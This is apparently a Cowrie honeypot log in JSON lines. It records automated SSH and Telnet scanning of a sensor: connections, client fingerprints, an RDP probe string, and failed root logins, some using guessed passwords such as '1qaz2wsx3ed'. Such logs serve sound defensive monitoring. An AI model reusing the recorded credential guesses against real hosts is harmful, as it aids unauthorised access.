{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.188965Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.83441734313965,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:33.260181Z","src_ip":"152.42.224.71","session":"d0b2460dc8e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59728,"dst_ip":"159.203.135.109","dst_port":22,"session":"a417dd87a1c1","protocol":"ssh","message":"New connection: 152.42.212.128:59728 (159.203.135.109:22) [session: a417dd87a1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:37.591131Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:37.596448Z","src_ip":"152.42.212.128","session":"a417dd87a1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:37.600951Z","src_ip":"152.42.212.128","session":"a417dd87a1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":42008,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a9c10bfbedd","protocol":"ssh","message":"New connection: 103.173.227.57:42008 (10.17.0.5:22) [session: 8a9c10bfbedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:42.301256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:42.306032Z","src_ip":"103.173.227.57","session":"8a9c10bfbedd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:42.544307Z","src_ip":"103.173.227.57","session":"8a9c10bfbedd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":57830,"dst_ip":"10.17.0.5","dst_port":22,"session":"88cd18052549","protocol":"ssh","message":"New connection: 109.172.54.111:57830 (10.17.0.5:22) [session: 88cd18052549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:43.107446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:43.119116Z","src_ip":"109.172.54.111","session":"88cd18052549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:43.208873Z","src_ip":"109.172.54.111","session":"88cd18052549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999000","message":"login attempt [root/999000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:43.259026Z","src_ip":"103.173.227.57","session":"8a9c10bfbedd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"128500","message":"login attempt [root/128500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:43.602457Z","src_ip":"109.172.54.111","session":"88cd18052549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.495227575302124,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:44.182798Z","src_ip":"152.42.224.71","session":"cf12963841f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:44.499698Z","src_ip":"103.173.227.57","session":"8a9c10bfbedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:44.705042Z","src_ip":"109.172.54.111","session":"88cd18052549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.03130412101746,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:55.982035Z","src_ip":"152.42.224.71","session":"ed2545121883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49106,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb9b5aaf195","protocol":"telnet","message":"New connection: 152.42.224.71:49106 (10.17.0.5:23) [session: 0eb9b5aaf195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:57.254840Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":58716,"dst_ip":"10.17.0.5","dst_port":22,"session":"166a01d9907c","protocol":"ssh","message":"New connection: 109.237.96.109:58716 (10.17.0.5:22) [session: 166a01d9907c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:58.994794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:58.999958Z","src_ip":"109.237.96.109","session":"166a01d9907c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:59.091179Z","src_ip":"109.237.96.109","session":"166a01d9907c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3ed","message":"login attempt [root/1qaz2wsx3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:59.367179Z","src_ip":"109.237.96.109","session":"166a01d9907c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:00.460946Z","src_ip":"109.237.96.109","session":"166a01d9907c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.131.184.100","src_port":29518,"dst_ip":"10.17.0.5","dst_port":22,"session":"20137ad8876c","protocol":"ssh","message":"New connection: 23.131.184.100:29518 (10.17.0.5:22) [session: 20137ad8876c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:12.967108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.052495Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.089937Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44204,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f42dfad83aa","protocol":"telnet","message":"New connection: 152.42.224.71:44204 (10.17.0.5:23) [session: 3f42dfad83aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.270473Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:fd:00:ab:6e:b8:26:1a:74:af:59:04:ce:ee:29:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qFrOGykW2ZfbFb5qeNkYAxglpfZHvnJrIcYnF9l6jAvQmKXp7Udw2HuR4LlSepmRShtj4yYcAZGERlw4D6IcUV3HlLUgR8BqZibcxJrhy2tu82o8e315bE3qZCrP0IdEw1aH+FYVLXKcgNf+3By7wSEVjdMzmDsaLgOhTMlZzuw3GSfLhHJ3kQDDmpajen97+CPzyuPuvuAot/k9q+uDdIJcScjoBp5cnZp3971XnFt2c3ga5lGC7Cn5NukMwJT99iqrG6yKddM8YbanmnuCclIpdS/mkHib8MVipyC28ECRSZ4rtaFv6rxIZKVjkJwKrxIVSSfKz6uFgHU8fZbR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:fd:00:ab:6e:b8:26:1a:74:af:59:04:ce:ee:29:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.332839Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:fd:00:ab:6e:b8:26:1a:74:af:59:04:ce:ee:29:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qFrOGykW2ZfbFb5qeNkYAxglpfZHvnJrIcYnF9l6jAvQmKXp7Udw2HuR4LlSepmRShtj4yYcAZGERlw4D6IcUV3HlLUgR8BqZibcxJrhy2tu82o8e315bE3qZCrP0IdEw1aH+FYVLXKcgNf+3By7wSEVjdMzmDsaLgOhTMlZzuw3GSfLhHJ3kQDDmpajen97+CPzyuPuvuAot/k9q+uDdIJcScjoBp5cnZp3971XnFt2c3ga5lGC7Cn5NukMwJT99iqrG6yKddM8YbanmnuCclIpdS/mkHib8MVipyC28ECRSZ4rtaFv6rxIZKVjkJwKrxIVSSfKz6uFgHU8fZbR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.337290Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.56885886192322,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.356957Z","src_ip":"152.42.224.71","session":"e5bbc30c7bea","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:bf:b8:af:0e:0c:f8:e4:18:2b:a0:09:1f:a5:b3:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClNEwJ+E0GgeDD0GuvRadsSQe6FQT1B6UdjiNoR4OoMNGHct5xiD0u6PqCvXJygdKvr7LBz9MkZF53H73e94A1zeO16dQg7XnyrAgPXkxsMNz/INUO6hFHmfn8DcZc11hE/3FAsbsEahT/lUHpsTFABEbQVi6weR2W05lLavF+mOlCGloXJphyTbLHLAwUBaFKJ48Q++tWQbWYpcUCyYKLcG4jmrP3eUiEHqH6jPPWNkrfIdazF3t2tBnmpYjXQazEbOif/wVZZ10RNQ8seaaM/cGp7ThbKlWKqcTcxauNyJUaCnNDAAJ3fKFuQQ0KbSD6ibj/YmdrAPUZMb9H8xLVQsv3bu3W+W/yBb8Ql6OyeTxzvdFv2ZGfTRuRSh6Pi7Ul65MPZguLzfP1WL+YPmgHqTcmkgpcRVsUxnrZhX64xCi619zoyQ0G0+q2FDZ49XeGOCsM+3S04T+jqOXOS9oMPDgmk68G7MK/zNmY6oU2Am7DYFsJLy9vmUAmyHD4ST9ba4cjY/gats1fl0mDBrUWOjJXiFGArmOi72tNslfxwsXVw/QxRRTQ+fuziYzYPF/aEdAxXpPfTyYzsKWEGCPmfGvO7yWgeh875SpZdaatw4BaHvZOSmqohmi9r7BwRfWUQ9wbgHdgRc+C3C73/ti+sER1OrNOymoXf4RtERMH0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:bf:b8:af:0e:0c:f8:e4:18:2b:a0:09:1f:a5:b3:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.396745Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:bf:b8:af:0e:0c:f8:e4:18:2b:a0:09:1f:a5:b3:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClNEwJ+E0GgeDD0GuvRadsSQe6FQT1B6UdjiNoR4OoMNGHct5xiD0u6PqCvXJygdKvr7LBz9MkZF53H73e94A1zeO16dQg7XnyrAgPXkxsMNz/INUO6hFHmfn8DcZc11hE/3FAsbsEahT/lUHpsTFABEbQVi6weR2W05lLavF+mOlCGloXJphyTbLHLAwUBaFKJ48Q++tWQbWYpcUCyYKLcG4jmrP3eUiEHqH6jPPWNkrfIdazF3t2tBnmpYjXQazEbOif/wVZZ10RNQ8seaaM/cGp7ThbKlWKqcTcxauNyJUaCnNDAAJ3fKFuQQ0KbSD6ibj/YmdrAPUZMb9H8xLVQsv3bu3W+W/yBb8Ql6OyeTxzvdFv2ZGfTRuRSh6Pi7Ul65MPZguLzfP1WL+YPmgHqTcmkgpcRVsUxnrZhX64xCi619zoyQ0G0+q2FDZ49XeGOCsM+3S04T+jqOXOS9oMPDgmk68G7MK/zNmY6oU2Am7DYFsJLy9vmUAmyHD4ST9ba4cjY/gats1fl0mDBrUWOjJXiFGArmOi72tNslfxwsXVw/QxRRTQ+fuziYzYPF/aEdAxXpPfTyYzsKWEGCPmfGvO7yWgeh875SpZdaatw4BaHvZOSmqohmi9r7BwRfWUQ9wbgHdgRc+C3C73/ti+sER1OrNOymoXf4RtERMH0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.401329Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:68:d4:1e:3c:d3:ff:b0:a9:5d:58:5d:45:52:7f:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfq8aef+3q4cJ8VF4Z3Wk8cotnl7uW5hzi7bK2Sn+HPs07bv0mvB6pOT6t60iDmaVE15uMFSox8iqY1JjCFPm/QT27sq1BdOcr3MF74xqLoH3Y2YicZHY/+NIxKIcBhplHGoj/IDl9czyy9FTNc1LfkrO5Js1WtxbOd1CRiDYwS8ulu1qOcAk1yPmGxZHXQD9WUiLGHkv2HHcmBG3w7MEHdXYeUPS8BAFIs44iZZQa02o/P6tZqX7UkW8H22NxfUnTGjSRq8CXASx6m0Xz+8PSeK72jHEuwemROag3gt0G0q14IRLBA7kSoaMTp5++g1/4zIC9eC9yxgSUgcQhDwe/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:68:d4:1e:3c:d3:ff:b0:a9:5d:58:5d:45:52:7f:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.452898Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:68:d4:1e:3c:d3:ff:b0:a9:5d:58:5d:45:52:7f:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfq8aef+3q4cJ8VF4Z3Wk8cotnl7uW5hzi7bK2Sn+HPs07bv0mvB6pOT6t60iDmaVE15uMFSox8iqY1JjCFPm/QT27sq1BdOcr3MF74xqLoH3Y2YicZHY/+NIxKIcBhplHGoj/IDl9czyy9FTNc1LfkrO5Js1WtxbOd1CRiDYwS8ulu1qOcAk1yPmGxZHXQD9WUiLGHkv2HHcmBG3w7MEHdXYeUPS8BAFIs44iZZQa02o/P6tZqX7UkW8H22NxfUnTGjSRq8CXASx6m0Xz+8PSeK72jHEuwemROag3gt0G0q14IRLBA7kSoaMTp5++g1/4zIC9eC9yxgSUgcQhDwe/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.457075Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:17:11:67:38:50:93:97:0c:eb:6c:d6:c3:fa:88:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvYUXmDDUy5eVp7DPJgoT+elSHr5qYgwK+mhPsWcKlj9jGOsKxrP6s/Q2OztVl0UM5AaS2sihg+BDP6hY/ca4YghR7SzchOyIHXY+gW8eRgmae3ELBgYdRMA73M1DEqeojd4PpE5FsVYtMG7LDP+4DcpRyS91z/j55Cf/PNl1eTo/SIiKvMcddplYO1tUCX7oycvZfh6PqOQbLcIomn2GS8AhBxn5eiraLTdU5TN0njyyu5t4KpNN/53VnP09bDRzf/51pMV4KFZiUY/T1Udcl9noYJ695USwvsnAMVPLokQSvsoMMQi3CMzvsQHxPJEA5bxnCWtmWGjWin8CmzWgx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:17:11:67:38:50:93:97:0c:eb:6c:d6:c3:fa:88:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.502629Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:17:11:67:38:50:93:97:0c:eb:6c:d6:c3:fa:88:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvYUXmDDUy5eVp7DPJgoT+elSHr5qYgwK+mhPsWcKlj9jGOsKxrP6s/Q2OztVl0UM5AaS2sihg+BDP6hY/ca4YghR7SzchOyIHXY+gW8eRgmae3ELBgYdRMA73M1DEqeojd4PpE5FsVYtMG7LDP+4DcpRyS91z/j55Cf/PNl1eTo/SIiKvMcddplYO1tUCX7oycvZfh6PqOQbLcIomn2GS8AhBxn5eiraLTdU5TN0njyyu5t4KpNN/53VnP09bDRzf/51pMV4KFZiUY/T1Udcl9noYJ695USwvsnAMVPLokQSvsoMMQi3CMzvsQHxPJEA5bxnCWtmWGjWin8CmzWgx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.507822Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:00:00:94:1e:ae:9f:da:1f:38:8d:f8:cc:be:23:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGC2EydOLGOG/MJ1yYfrYq3LAJWNs4vc5+/P/doA4YscY/Hz3bWnqr+yk/DMUBVr7P8kOWIyez1oAqr4lsemv5CDeAy2tLHAYYyPUnOn/oCDrSTm+EzoIRFVsZOqWbKywrODdw+JfbkH6OFVU59NEa+GxS6o3O2Zm2nK6OIQ35qIEc3SAfiIU/8xkS4c+nSbsO41u9PY7PARVMseh+g3aboH02LAsH9/sMTZai3EYLS8AGJNhiymEX/G9e99CjQaqNBTTpBCOvL+ECv3wP4t2zvhI4XVitL6c93g1LU8U51kUL5mTxAUXRK1HestiU3w2n8eeKoulV/YOlva7a9TUJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:00:00:94:1e:ae:9f:da:1f:38:8d:f8:cc:be:23:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:05:13.554934Z","src_ip":"23.131.184.100","session":"20137ad8876c","protocol":"ssh"}
